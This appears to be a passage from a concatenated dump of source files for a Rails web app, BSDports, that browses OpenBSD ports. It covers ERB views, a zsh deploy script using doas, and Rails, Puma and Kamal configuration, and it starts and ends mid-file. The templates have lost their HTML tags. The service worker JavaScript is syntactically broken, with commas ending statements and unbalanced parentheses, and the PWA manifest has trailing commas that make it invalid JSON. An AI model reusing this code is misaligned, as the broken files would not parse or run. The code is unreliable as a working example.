%&gt;\n\n&lt;%= render \"ports/index\" %&gt;\n```\n\n## `rails/bsdports/app/views/comments/_comment.html.erb`\n```erb\n\n\n  &lt;%= comment.user.email_address.split(\"@\").first %&gt;\n  \n&lt;%= comment.content %&gt;\n  &lt;% if authenticated? &amp;&amp; comment.user == Current.user %&gt;\n    &lt;%= button_to \"Delete\", port_comment_path(@port, comment), method: :delete %&gt;\n  &lt;% end %&gt;\n\n```\n\n## `rails/bsdports/app/views/layouts/application.html.erb`\n```erb\n\n\n\n  \n  \n  \n  \n  &lt;%= content_for?(:title) ? \"#{yield :title} \u2014 BSDports\" : \"BSDports\" %&gt;\n  \"&gt;\n  \"&gt;\n  \n  \"&gt;\n  \"&gt;\n  \n  \n  \n  \"&gt;\n  \"&gt;\n  &lt;%= csrf_meta_tags %&gt;\n  &lt;%= csp_meta_tag %&gt;\n  \n  \n  &lt;%= tag.link rel: \"manifest\", href: pwa_manifest_path(format: :json) %&gt;\n  &lt;%= stylesheet_link_tag :app, \"data-turbo-track\": \"reload\" %&gt;\n  \n  &lt;%= yield :json_ld %&gt;\n  &lt;%= javascript_importmap_tags %&gt;\n  \n\n\n\n\n  &lt;%= link_to \"BSDports\", root_path, class: \"brand\" %&gt;\n  &lt;%= link_to \"Ports\", ports_path %&gt;\n  &lt;%= link_to \"Categories\", categories_path %&gt;\n  &lt;%= link_to \"Maintainers\", maintainers_path %&gt;\n  &lt;% if authenticated? %&gt;\n    &lt;%= link_to \"Sign out\", session_path, data: { turbo_method: :delete } %&gt;\n  &lt;% else %&gt;\n    &lt;%= link_to \"Sign in\", new_session_path %&gt;\n  &lt;% end %&gt;\n\n&lt;%= tag.p(notice, role: \"status\", class: \"flash-notice\") if notice %&gt;\n&lt;%= tag.p(alert, role: \"alert\", class: \"flash-alert\") if alert %&gt;\n\n&lt;%= yield %&gt;\n\n\n```\n\n## `rails/bsdports/app/views/layouts/mailer.html.erb`\n```erb\n\n\n  \n    \n    \n      /* Email styles need to be inline */\n    \n  \n\n  \n    &lt;%= yield %&gt;\n  \n\n```\n\n## `rails/bsdports/app/views/layouts/mailer.text.erb`\n```erb\n&lt;%= yield %&gt;\n```\n\n## `rails/bsdports/app/views/maintainers/index.html.erb`\n```erb\n&lt;% content_for :title, \"Maintainers\" %&gt;\n\nMaintainers\n\n\n  &lt;% @maintainers.each do |m| %&gt;\n    \n\n      &lt;%= link_to m.name, maintainer_path(m) %&gt;\n      &lt;%= m.label %&gt;\n      (&lt;%= m.ports.size %&gt; ports)\n    \n  &lt;% end %&gt;\n\n```\n\n## `rails/bsdports/app/views/maintainers/show.html.erb`\n```erb\n&lt;% content_for :title, @maintainer.name %&gt;\n\n\n  \n&lt;%= @maintainer.name %&gt;\n  &lt;% if @maintainer.email.present? %&gt;\n    \n&lt;%= link_to @maintainer.email, \"mailto:#{@maintainer.email}\" %&gt;\n  &lt;% end %&gt;\n\n\n\n  &lt;% @ports.each do |port| %&gt;\n    \n\n      &lt;%= link_to port.name, port %&gt;\n      &lt;%= port.version %&gt;\n      &lt;%= link_to port.category.name, category_path(port.category) %&gt;\n      &lt;%= port.comment %&gt;\n    \n  &lt;% end %&gt;\n\n&lt;%= @pagy.series_nav if @pagy &amp;&amp; @pagy.pages &gt; 1 %&gt;\n```\n\n## `rails/bsdports/app/views/passwords/edit.html.erb`\n```erb\n\nUpdate your password\n\n&lt;% if flash[:alert] %&gt;\n&lt;%= flash[:alert] %&gt;&lt;% end %&gt;\n\n&lt;%= form_with url: password_path(params[:token]), method: :put do |form| %&gt;\n  \n&lt;%= form.password_field :password, required: true, autocomplete: \"new-password\", placeholder: \"Enter new password\", maxlength: 72 %&gt;\n  \n&lt;%= form.password_field :password_confirmation, required: true, autocomplete: \"new-password\", placeholder: \"Repeat new password\", maxlength: 72 %&gt;\n  \n&lt;%= form.submit \"Save\" %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/bsdports/app/views/passwords/new.html.erb`\n```erb\n\nForgot your password?\n\n&lt;% if flash[:alert] %&gt;\n&lt;%= flash[:alert] %&gt;&lt;% end %&gt;\n\n&lt;%= form_with url: passwords_path do |form| %&gt;\n  \n&lt;%= form.email_field :email_address, required: true, autofocus: true, autocomplete: \"username\", placeholder: \"Enter your email address\", value: params[:email_address] %&gt;\n  \n&lt;%= form.submit \"Email reset instructions\" %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/bsdports/app/views/ports/index.html.erb`\n```erb\n&lt;% content_for :title, \"Ports\" %&gt;\n\n\n  \nOpenBSD ports\n  &lt;%= link_to \"RSS (new last 7 days)\", ports_path(format: :rss) %&gt;\n  &lt;%= form_with url: ports_path, method: :get do |f| %&gt;\n    &lt;%= f.search_field :q, value: params[:q], placeholder: \"Search ports\u2026\" %&gt;\n  &lt;% end %&gt;\n\n&lt;% if @category %&gt;\n  \n&lt;%= @category.name %&gt; \u2014 &lt;%= @category.description %&gt;\n&lt;% end %&gt;\n\n\n  &lt;% @ports.each do |port| %&gt;\n    \n\n      &lt;%= link_to port.name, port %&gt;\n      &lt;%= port.version %&gt;\n      &lt;%= link_to port.category.name, category_path(port.category) %&gt;\n      &lt;%= port.comment %&gt;\n    \n  &lt;% end %&gt;\n\n&lt;%= @pagy.series_nav if @pagy.pages &gt; 1 %&gt;\n```\n\n## `rails/bsdports/app/views/ports/show.html.erb`\n```erb\n&lt;% content_for :title, @port.name %&gt;\n\n\n  \n\n    \n&lt;%= @port.name %&gt; &lt;%= @port.version %&gt;\n    &lt;%= link_to @port.category.name, category_path(@port.category) %&gt;\n  \n  \n&lt;%= @port.comment %&gt;\n  \n&lt;%= @port.description %&gt;\n  \n\n    \nMaintainer\n&lt;% if @maintainer %&gt;&lt;%= link_to @port.maintainer, maintainer_path(@maintainer) %&gt;&lt;% else %&gt;&lt;%= @port.maintainer %&gt;&lt;% end %&gt;\n    \nLocal install\n&lt;%= @pkg_info.present? ? \"installed (#{@pkg_info})\" : \"not installed\" %&gt;\n    \nPkgpath\n&lt;%= @port.pkgpath %&gt;\n    &lt;% if @port.homepage.present? %&gt;\nHomepage\n&lt;%= link_to @port.homepage, @port.homepage %&gt;&lt;% end %&gt;\n    \nUpdated\n&lt;%= @port.last_updated&amp;.strftime(\"%Y-%m-%d\") %&gt;\n  \n\n  &lt;% if @dependencies.any? %&gt;\n    \nDependencies\n    \n\n      &lt;% @dependencies.each do |dep| %&gt;\n        \n\n          &lt;%= link_to dep.depends_on.name, port_path(dep.depends_on) %&gt;\n          &lt;%= dep.dep_type %&gt;\n        \n      &lt;% end %&gt;\n    \n  &lt;% end %&gt;\n\n  &lt;% if @deps.any? %&gt;\n    \nDependency graph (plain SVG)\n    \n      \n      &lt;%= @port.name[0,10] %&gt;\n      &lt;% @deps.each_with_index do |dep, i| %&gt;\n        &lt;% y = 20 + i * 25 %&gt;\n        \n        \n        &lt;%= dep.depends_on.name[0,8] %&gt;\n      &lt;% end %&gt;\n    \n  &lt;% end %&gt;\n\n  &lt;% if @updates.any? %&gt;\n    \nVersion history\n    \n\n      &lt;% @updates.each do |update| %&gt;\n        \n\n          \n--- a/&lt;%= @port.pkgpath %&gt;\n+++ b/&lt;%= @port.pkgpath %&gt;\n@@ -1 +1 @@\n-&lt;%= update.old_version %&gt;\n+&lt;%= update.new_version %&gt;\n&lt;%= update.commit_message %&gt;\n          &lt;%= update.committed_at&amp;.strftime(\"%Y-%m-%d\") %&gt;\n        \n      &lt;% end %&gt;\n    \n  &lt;% end %&gt;\n\n  \nCVEs / Security advisories\n  &lt;% if @advisories&amp;.any? %&gt;\n    \n\n      &lt;% @advisories.each do |adv| %&gt;\n        \n\n          &lt;% if adv.nvd_url %&gt;\n            &lt;%= link_to adv.identifier, adv.nvd_url, target: \"_blank\" %&gt;\n          &lt;% else %&gt;\n            &lt;%= adv.identifier %&gt;\n          &lt;% end %&gt;\n          &lt;%= adv.severity %&gt;\n          &lt;%= adv.published_at&amp;.strftime(\"%Y-%m-%d\") %&gt;\n        \n      &lt;% end %&gt;\n    \n  &lt;% else %&gt;\n    \nNo CVEs cross-referenced yet.\n  &lt;% end %&gt;\n  &lt;%= button_to \"Cross-reference with NVD\", crossref_cves_port_path(@port), method: :post %&gt;\n\n  \nMASTER review\n  \nScan Makefile and patches for quality issues.\n  &lt;%= button_to \"Run MASTER review\", review_port_path(@port), method: :post %&gt;\n\n  \n\n    &lt;% if authenticated? %&gt;\n      &lt;% if @watching %&gt;\n        &lt;%= button_to \"Unwatch\", unwatch_port_path(@port), method: :delete %&gt;\n      &lt;% else %&gt;\n        &lt;%= button_to \"Watch\", watch_port_path(@port), method: :post %&gt;\n      &lt;% end %&gt;\n    &lt;% end %&gt;\n  \n\n\n\n\n  \nComments\n  &lt;%= render @comments %&gt;\n  &lt;% if authenticated? %&gt;\n    &lt;%= form_with url: port_comments_path(@port) do |f| %&gt;\n      \n&lt;%= f.text_area :content, rows: 3, placeholder: \"Add a comment\u2026\" %&gt;\n      \n&lt;%= f.submit \"Comment\" %&gt;\n    &lt;% end %&gt;\n  &lt;% end %&gt;\n\n```\n\n## `rails/bsdports/app/views/pwa/manifest.json.erb`\n```erb\n{\n  \"name\": \"BSDports\",\n  \"short_name\": \"BSDports\",\n  \"icons\": [\n    {\n      \"src\": \"/icon-192.png\",\n      \"type\": \"image/png\",\n      \"sizes\": \"192x192\",\n    },\n    {\n      \"src\": \"/icon.png\",\n      \"type\": \"image/png\",\n      \"sizes\": \"512x512\",\n    },\n    {\n      \"src\": \"/icon.png\",\n      \"type\": \"image/png\",\n      \"sizes\": \"512x512\",\n      \"purpose\": \"maskable\",\n    },\n  ],\n  \"start_url\": \"/\",\n  \"display\": \"standalone\",\n  \"scope\": \"/\",\n  \"description\": \"Browse and search the BSD ports collection. Find packages, track versions, and explore the BSD ecosystem.\",\n  \"theme_color\": \"#1a1a1a\",\n  \"background_color\": \"#1a1a1a\",\n}\n```\n\n## `rails/bsdports/app/views/pwa/service-worker.js`\n```javascript\nconst CACHE   = \"bsdports-v2\"\nconst OFFLINE = \"/offline\"\n\nself.addEventListener(\"install\", e =&gt; {\n  e.waitUntil(caches.open(CACHE).then(c =&gt; c.addAll([\"/\", OFFLINE])))\n  self.skipWaiting(),\n})\n\nself.addEventListener(\"activate\", e =&gt; {\n  e.waitUntil(caches.keys().then(keys =&gt;\n    Promise.all(keys.filter(k =&gt; k !== CACHE).map(k =&gt; caches.delete(k)))\n  ))\n  self.clients.claim(),\n})\n\nself.addEventListener(\"fetch\", e =&gt; {\n  if (e.request.method !== \"GET\") return\n  const url = new URL(e.request.url)\n  const isNav = e.request.mode === \"navigate\"\n  const isAsset = /\\.(js|css|png|jpg|jpeg|webp|svg|woff2?|ico)$/.test(url.pathname)\n  if (isAsset) {\n    e.respondWith(caches.match(e.request).then(cached =&gt; cached || fetch(e.request).then(res =&gt; {\n      const clone = res.clone()\n      caches.open(CACHE).then(c =&gt; c.put(e.request, clone))\n      return res,\n  } else if (isNav) {\n    e.respondWith(fetch(e.request).catch(() =&gt; caches.match(OFFLINE))),\n  },\n})\n```\n\n## `rails/bsdports/app/views/sessions/new.html.erb`\n```erb\n&lt;% if flash[:alert] %&gt;\n&lt;%= flash[:alert] %&gt;&lt;% end %&gt;\n&lt;% if flash[:notice] %&gt;\n&lt;%= flash[:notice] %&gt;&lt;% end %&gt;\n\n&lt;%= form_with url: session_path do |form| %&gt;\n  \n&lt;%= form.email_field :email_address, required: true, autofocus: true, autocomplete: \"username\", placeholder: \"Enter your email address\", value: params[:email_address] %&gt;\n  \n&lt;%= form.password_field :password, required: true, autocomplete: \"current-password\", placeholder: \"Enter your password\", maxlength: 72 %&gt;\n  \n&lt;%= form.submit \"Sign in\" %&gt;\n&lt;% end %&gt;\n\n\n&lt;%= link_to \"Forgot password?\", new_password_path %&gt;\n```\n\n## `rails/bsdports/bsdports.sh`\n```bash\n#!/usr/bin/env zsh\n# bsdports.sh \u2014 deploys the tracked bsdports Rails tree at app/.\nset -euo pipefail\n\nAPP_NAME=bsdports\nAPP_DIR=/home/${APP_NAME}/app\nAPP_PORT=47312\nAPP_DOMAIN=bsdports.org\nSCRIPT_DIR=${0:a:h}\nSRC_DIR=${SCRIPT_DIR}\nSHARED_BUNDLE_CACHE=${SHARED_BUNDLE_CACHE:-/var/cache/pub4/bundle/ruby34}\n\n. \"${SCRIPT_DIR:h}/shared/deploy/@shared_functions.sh\"\n\nneed_cmd ruby34 bundle doas\n\n[[ -d $SRC_DIR ]] || { log_err \"missing source tree: $SRC_DIR\"; exit 1; }\n\nlog \"${APP_NAME} \u2014 deploying tracked tree \u2192 ${APP_DIR}\"\n\nid \"$APP_NAME\" &gt;/dev/null 2&gt;&amp;1 || doas useradd -m -L daemon -s /bin/ksh \"$APP_NAME\"\ndoas mkdir -p \"$APP_DIR\"\n\n# Parametric shared grammar layer first (provides base classes, concerns, bins, assets, config)\ndoas cp -R \"${SCRIPT_DIR:h}/shared/bin/.\" \"${APP_DIR}/bin/\" 2&gt;/dev/null || true\ndoas cp -R \"${SCRIPT_DIR:h}/shared/public/.\" \"${APP_DIR}/public/\" 2&gt;/dev/null || true\ndoas cp -R \"${SCRIPT_DIR:h}/shared/config/.\" \"${APP_DIR}/config/\" 2&gt;/dev/null || true\ndoas cp -R \"${SCRIPT_DIR:h}/shared/app/.\" \"${APP_DIR}/app/\" 2&gt;/dev/null || true\ndoas cp \"${SCRIPT_DIR:h}/shared/Rakefile\" \"${APP_DIR}/Rakefile\" 2&gt;/dev/null || true\ndoas cp \"${SCRIPT_DIR:h}/shared/config.ru\" \"${APP_DIR}/config.ru\" 2&gt;/dev/null || true\n\n# Per-app tracked tree last (specialized instances + custom overrides win)\ndoas cp -R \"${SRC_DIR}/.\" \"${APP_DIR}/\"\ndoas chown -R \"${APP_NAME}:${APP_NAME}\" \"$APP_DIR\"\n\ncd \"$APP_DIR\"\n\ntypeset bundle_home=\"/home/${APP_NAME}/.bundle\"\ndoas mkdir -p \"$bundle_home\"\n\nif [[ ! -d ${bundle_home}/gems ]]; then\n  if [[ -d ${SHARED_BUNDLE_CACHE}/gems ]]; then\n    log \"Bootstrapping gems from ${SHARED_BUNDLE_CACHE}\"\n    doas cp -R \"${SHARED_BUNDLE_CACHE}/gems\" \"$bundle_home/\"\n    [[ -d ${SHARED_BUNDLE_CACHE}/cache ]] &amp;&amp; doas cp -R \"${SHARED_BUNDLE_CACHE}/cache\" \"$bundle_home/\" || true\n  else\n    log_warn \"No shared bundle cache found; bundle install will resolve gems normally\"\n  fi\n  doas chown -R \"${APP_NAME}:${APP_NAME}\" \"$bundle_home\"\nfi\n\ndoas mkdir -p \"${APP_DIR}/.bundle\"\nprint -- \"---\\nBUNDLE_PATH: \\\"${bundle_home}/gems\\\"\" | doas tee \"${APP_DIR}/.bundle/config\" &gt;/dev/null\ndoas chown -R \"${APP_NAME}:${APP_NAME}\" \"${APP_DIR}/.bundle\"\n\ndoas -u \"$APP_NAME\" sh -c \"cd ${APP_DIR} &amp;&amp; bundle config set --local deployment true &amp;&amp; bundle config set --local without 'development test' &amp;&amp; RAILS_ENV=production bundle install\"\ndoas -u \"$APP_NAME\" sh -c \"cd ${APP_DIR} &amp;&amp; RAILS_ENV=production bin/rails db:create db:migrate\"\n[[ -f ${APP_DIR}/db/seeds.rb ]] &amp;&amp; doas -u \"$APP_NAME\" sh -c \"cd ${APP_DIR} &amp;&amp; RAILS_ENV=production bin/rails db:seed\" || true\n\ninstall_rcd \"$APP_NAME\" \"$APP_DIR\" \"$APP_PORT\" \"$APP_NAME\"\n[[ -n $APP_DOMAIN ]] &amp;&amp; relayd_add_relay \"$APP_DOMAIN\" \"$APP_PORT\"\n\ndoas rcctl restart \"$APP_NAME\" || doas rcctl start \"$APP_NAME\"\nlog_ok \"$APP_NAME live on :$APP_PORT\"\n```\n\n## `rails/bsdports/config/application.rb`\n```ruby\n# frozen_string_literal: true\n\nrequire_relative \"boot\"\n\nrequire \"rails\"\n# Pick the frameworks you want:\nrequire \"active_model/railtie\"\nrequire \"active_job/railtie\"\nrequire \"active_record/railtie\"\nrequire \"active_storage/engine\"\nrequire \"action_controller/railtie\"\nrequire \"action_mailer/railtie\"\nrequire \"action_mailbox/engine\"\nrequire \"action_text/engine\"\nrequire \"action_view/railtie\"\nrequire \"action_cable/engine\"\n# require \"rails/test_unit/railtie\"\n\n# Require the gems listed in Gemfile, including any gems\n# you've limited to :test, :development, or :production.\nBundler.require(*Rails.groups)\n\nmodule App\n  class Application &lt; Rails::Application\n    # Initialize configuration defaults for originally generated Rails version.\n    config.load_defaults 8.1\n\n    # Please, add to the `ignore` list any other `lib` subdirectories that do\n    # not contain `.rb` files, or that should not be reloaded or eager loaded.\n    # Common ones are `templates`, `generators`, or `middleware`, for example.\n    config.autoload_lib(ignore: %w[assets tasks])\n\n    # Configuration for the application, engines, and railties goes here.\n    #\n    # These settings can be overridden in specific environments using the files\n    # in config/environments, which are processed later.\n    #\n    # config.time_zone = \"Central Time (US &amp; Canada)\"\n    # config.eager_load_paths &lt;&lt; Rails.root.join(\"extras\")\n\n    # Don't generate system test files.\n    config.generators.system_tests = nil\n  end\nend\n```\n\n## `rails/bsdports/config/cable.yml`\n```yaml\ndevelopment:\n  adapter: async\n\ntest:\n  adapter: test\n\nproduction:\n  adapter: redis\n  url: &lt;%= ENV.fetch(\"REDIS_URL\") { \"redis://localhost:6379/1\" } %&gt;\n  channel_prefix: app_production\n```\n\n## `rails/bsdports/config/database.yml`\n```yaml\n# SQLite. Versions 3.8.0 and up are supported.\n#   gem install sqlite3\n#\n#   Ensure the SQLite 3 gem is defined in your Gemfile\n#   gem \"sqlite3\"\n#\ndefault: &amp;default\n  adapter: sqlite3\n  max_connections: &lt;%= ENV.fetch(\"RAILS_MAX_THREADS\") { 5 } %&gt;\n  timeout: 5000\n\ndevelopment:\n  &lt;&lt;: *default\n  database: storage/development.sqlite3\n\n# Warning: The database defined as \"test\" will be erased and\n# re-generated from your development database when you run \"rake\".\n# Do not set this db to the same as development or production.\ntest:\n  &lt;&lt;: *default\n  database: storage/test.sqlite3\n\n# Store production database in the storage/ directory, which by default\n# is mounted as a persistent Docker volume in config/deploy.yml.\nproduction:\n  primary:\n    &lt;&lt;: *default\n    database: storage/production.sqlite3\n  cache:\n    &lt;&lt;: *default\n    database: storage/production_cache.sqlite3\n    migrations_paths: db/cache_migrate\n  queue:\n    &lt;&lt;: *default\n    database: storage/production_queue.sqlite3\n    migrations_paths: db/queue_migrate\n  cable:\n    &lt;&lt;: *default\n    database: storage/production_cable.sqlite3\n    migrations_paths: db/cable_migrate\n```\n\n## `rails/bsdports/config/deploy.yml`\n```yaml\n# Name of your application. Used to uniquely configure containers.\nservice: app\n\n# Name of the container image (use your-user/app-name on external registries).\nimage: app\n\n# Deploy to these servers.\nservers:\n  web:\n    - 192.168.0.1\n  # job:\n  #   hosts:\n  #     - 192.168.0.1\n  #   cmd: bin/jobs\n\n# Enable SSL auto certification via Let's Encrypt and allow for multiple apps on a single web server.\n# If used with Cloudflare, set encryption mode in SSL/TLS setting to \"Full\" to enable CF-to-app encryption.\n#\n# TLS terminates at relayd in this repo. Rails should set config.assume_ssl and leave config.force_ssl disabled.\n#\n# Don't use this when deploying to multiple web servers (then you have to terminate SSL at your load balancer).\n#\n# proxy:\n#   ssl: true\n#   host: bsdports.org\n\n# Where you keep your container images.\nregistry:\n  # Alternatives: hub.docker.com / registry.digitalocean.com / ghcr.io / ...\n  server: localhost:5555\n\n  # Needed for authenticated registries.\n  # username: your-user\n\n  # Always use an access token rather than real password when possible.\n  # password:\n  #   - KAMAL_REGISTRY_PASSWORD\n\n# Inject ENV variables into containers (secrets come from .kamal/secrets).\nenv:\n  secret:\n    - RAILS_MASTER_KEY\n  clear:\n    # Run the Solid Queue Supervisor inside the web server's Puma process to do jobs.\n    # When you start using multiple servers, you should split out job processing to a dedicated machine.\n    SOLID_QUEUE_IN_PUMA: true\n\n    # Set number of processes dedicated to Solid Queue (default: 1)\n    # JOB_CONCURRENCY: 3\n\n    # Set number of cores available to the application on each server (default: 1).\n    # WEB_CONCURRENCY: 2\n\n    # Match this to any external database server to configure Active Record correctly\n    # Use app-db for a db accessory server on same machine via local kamal docker network.\n    # DB_HOST: 192.168.0.2\n\n    # Log everything from Rails\n    # RAILS_LOG_LEVEL: debug\n\n# Aliases are triggered with \"bin/kamal \". You can overwrite arguments on invocation:\n# \"bin/kamal logs -r job\" will tail logs from the first server in the job section.\naliases:\n  console: app exec --interactive --reuse \"bin/rails console\"\n  shell: app exec --interactive --reuse \"bash\"\n  logs: app logs -f\n  dbc: app exec --interactive --reuse \"bin/rails dbconsole --include-password\"\n\n# Use a persistent storage volume for sqlite database files and local Active Storage files.\n# Recommended to change this to a mounted volume path that is backed up off server.\nvolumes:\n  - \"app_storage:/rails/storage\"\n\n# Bridge fingerprinted assets, like JS and CSS, between versions to avoid\n# hitting 404 on in-flight requests. Combines all files from new and old\n# version inside the asset_path.\nasset_path: /rails/public/assets\n\n# Configure the image builder.\nbuilder:\n  arch: amd64\n\n  # # Build image via remote server (useful for faster amd64 builds on arm64 computers)\n  # remote: ssh://docker@docker-builder-server\n  #\n  # # Pass arguments and secrets to the Docker build process\n  # args:\n  #   RUBY_VERSION: ruby-3.4.9\n  # secrets:\n  #   - GITHUB_TOKEN\n  #   - RAILS_MASTER_KEY\n\n# Use a different ssh user than root\n# ssh:\n#   user: app\n\n# Use accessory services (secrets come from .kamal/secrets).\n# accessories:\n#   db:\n#     image: mysql:8.0\n#     host: 192.168.0.2\n#     # Change to 3306 to expose port to the world instead of just local network.\n#     port: \"127.0.0.1:3306:3306\"\n#     env:\n#       clear:\n#         MYSQL_ROOT_HOST: '%'\n#       secret:\n#         - MYSQL_ROOT_PASSWORD\n#     files:\n#       - config/mysql/production.cnf:/etc/mysql/my.cnf\n#       - db/production.sql:/docker-entrypoint-initdb.d/setup.sql\n#     directories:\n#       - data:/var/lib/mysql\n#   redis:\n#     image: valkey/valkey:8\n#     host: 192.168.0.2\n#     port: 6379\n#     directories:\n#       - data:/data\n```\n\n## `rails/bsdports/config/environments/production.rb`\n```ruby\n# frozen_string_literal: true\n\nrequire \"active_support/core_ext/integer/time\"\n\nRails.application.configure do\n  # Settings specified here will take precedence over those in config/application.rb.\n\n  # Code is not reloaded between requests.\n  config.enable_reloading = false\n\n  # Eager load code on boot for better performance and memory savings (ignored by Rake tasks).\n  config.eager_load = true\n\n  # Full error reports are disabled.\n  config.consider_all_requests_local = false\n\n  # Turn on fragment caching in view templates.\n  config.action_controller.perform_caching = true\n\n  # Cache assets for far-future expiry since they are all digest stamped.\n  config.public_file_server.headers = { \"cache-control\" =&gt; \"public, max-age=#{1.year.to_i}\" }\n\n  # Enable serving of images, stylesheets, and JavaScripts from an asset server.\n  # config.asset_host = \"http://assets.example.com\"\n\n  # Store uploaded files on the local file system (see config/storage.yml for options).\n  config.active_storage.service = :local\n\n  # Assume all access to the app is happening through a SSL-terminating reverse proxy.\n  config.assume_ssl = true\n\n  # TLS terminates at OpenBSD relayd; Rails must not own HTTPS redirects.\n  # config.force_ssl = true\n\n  # Skip http-to-https redirect for the default health check endpoint.\n  # config.ssl_options = { redirect: { exclude: -&gt;(request) { request.path == \"/up\" } } }\n\n  # Log to STDOUT with the current request id as a default log tag.\n  config.log_tags = [ :request_id ]\n  config.logger   = ActiveSupport::TaggedLogging.logger(STDOUT)\n\n  # Change to \"debug\" to log everything (including potentially personally-identifiable information!).\n  config.log_level = ENV.fetch(\"RAILS_LOG_LEVEL\", \"info\")\n\n  # Prevent health checks from clogging up the logs.\n  config.silence_healthcheck_path = \"/up\"\n\n  # Don't log any deprecations.\n  config.active_support.report_deprecations = false\n\n  # Replace the default in-process memory cache store with a durable alternative.\n  config.cache_store = :solid_cache_store\n\n  # Replace the default in-process and non-durable queuing backend for Active Job.\n  config.active_job.queue_adapter = :solid_queue\n  config.solid_queue.connects_to = { database: { writing: :queue } }\n\n  # Ignore bad email addresses and do not raise email delivery errors.\n  # Set this to true and configure the email server for immediate delivery to raise delivery errors.\n  # config.action_mailer.raise_delivery_errors = false\n\n  # Set host to be used by links generated in mailer templates.\n  config.action_mailer.default_url_options = { host: \"bsdports.org\", protocol: \"https\" }\n\n  # Specify outgoing SMTP server. Remember to add smtp/* credentials via bin/rails credentials:edit.\n  # config.action_mailer.smtp_settings = {\n  #   user_name: Rails.application.credentials.dig(:smtp, :user_name),\n  #   password: Rails.application.credentials.dig(:smtp, :password),\n  #   address: \"smtp.example.com\",\n  #   port: 587,\n  #   authentication: :plain\n  # }\n\n  # Enable locale fallbacks for I18n (makes lookups for any locale fall back to\n  # the I18n.default_locale when a translation cannot be found).\n  config.i18n.fallbacks = true\n\n  # Do not dump schema after migrations.\n  config.active_record.dump_schema_after_migration = false\n\n  # Only use :id for inspections in production.\n  config.active_record.attributes_for_inspect = [ :id ]\n\n  config.hosts = [\"bsdports.org\", \"www.bsdports.org\"]\n  config.host_authorization = { exclude: -&gt;(request) { request.path == \"/up\" } }\nend\n```\n\n## `rails/bsdports/config/importmap.rb`\n```ruby\n# frozen_string_literal: true\n\n# Pin npm packages by running ./bin/importmap\n\npin \"application\"\npin \"@hotwired/turbo-rails\", to: \"turbo.min.js\"\npin \"@hotwired/stimulus\", to: \"@hotwired--stimulus.js\" # @3.2.2\npin \"@hotwired/stimulus-loading\", to: \"stimulus-loading.js\"\npin_all_from \"app/javascript/controllers\", under: \"controllers\"\npin \"@stimulus-components/dialog\", to: \"@stimulus-components--dialog.js\" # @1.0.1\npin \"@stimulus-components/auto-submit\", to: \"@stimulus-components--auto-submit.js\" # @6.0.0\npin \"@stimulus-components/character-counter\", to: \"@stimulus-components--character-counter.js\" # @5.1.0\npin \"@stimulus-components/dropdown\", to: \"@stimulus-components--dropdown.js\" # @3.0.0\npin \"stimulus-use\" # @0.52.3\npin \"@stimulus-components/clipboard\", to: \"@stimulus-components--clipboard.js\" # @5.0.0\npin \"@stimulus-components/notification\", to: \"@stimulus-components--notification.js\" # @3.0.0\npin \"@stimulus-components/timeago\", to: \"@stimulus-components--timeago.js\" # @5.0.2\npin \"date-fns\" # @4.1.0\npin \"@stimulus-components/animated-number\", to: \"@stimulus-components--animated-number.js\" # @5.0.0\npin \"@stimulus-components/sortable\", to: \"@stimulus-components--sortable.js\" # @5.0.3\npin \"https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/fetch_request\", to: \"https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--fetch_request.js\" # @0.0.13\npin \"https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/fetch_response\", to: \"https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--fetch_response.js\" # @0.0.13\npin \"https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/lib/utils\", to: \"https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--lib--utils.js\" # @0.0.13\npin \"https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/request_interceptor\", to: \"https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--request_interceptor.js\" # @0.0.13\npin \"https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/verbs\", to: \"https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--verbs.js\" # @0.0.13\npin \"@rails/request.js\", to: \"@rails--request.js.js\" # @0.0.13\npin \"sortablejs\" # @1.15.7\n```\n\n## `rails/bsdports/config/puma.rb`\n```ruby\n# frozen_string_literal: true\n\nthreads_count = ENV.fetch(\"RAILS_MAX_THREADS\", 3)\nthreads threads_count, threads_count\nport ENV.fetch(\"PORT\") { 10003 }\nenvironment ENV.fetch(\"RAILS_ENV\") { \"production\" }\npidfile ENV.fetch(\"PIDFILE\") { \"tmp/pids/server.pid\" }\nplugin :tmp_restart\n```\n\n## `rails/bsdports/config/routes.rb`\n```ruby\n# frozen_string_literal: true\n\nRails.application.routes.draw do\n  resource  :session\n  resources :passwords, param: :token\n\n  root \"ports#index\"\n\n  resources :categories, only: %i[index show]\n  resources :maintainers, only: %i[index show]\n\n  resources :ports, only: %i[index show] do\n    member do\n      post :watch\n      delete :unwatch\n      post :crossref_cves\n      post :review\n    end\n    resources :comments, only: %i[create destroy]\n  end\n\n  get 'manifest' =&gt; 'rails/pwa#manifest', as: :pwa_manifest\n  get 'service-worker' =&gt; 'rails/pwa#service_worker', as: :pwa_service_worker\n  get \"up\", to: \"rails/health#show\", as: :rails_health_check\nend\n```\n\n## `rails/bsdports/db/migrate/20260501020807_create_users.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateUsers &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :users do |t|\n      t.string :email_address, null: false\n      t.string :password_digest, null: false\n\n      t.timestamps\n    end\n    add_index :users, :email_address, unique: true\n  end\nend\n```\n\n## `rails/bsdports/db/migrate/20260501020818_create_sessions.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateSessions &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :sessions do |t|\n      t.references :user, null: false, foreign_key: true\n      t.string :ip_address\n      t.string :user_agent\n\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/bsdports/db/migrate/20260507120001_create_categories.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateCategories &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :categories do |t|\n      t.string :name\n      t.string :slug\n      t.text :description\n      t.timestamps\n    end\n    add_index :categories, :slug, unique: true\n  end\nend\n```\n\n## `rails/bsdports/db/migrate/20260507120002_create_ports.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreatePorts &lt; 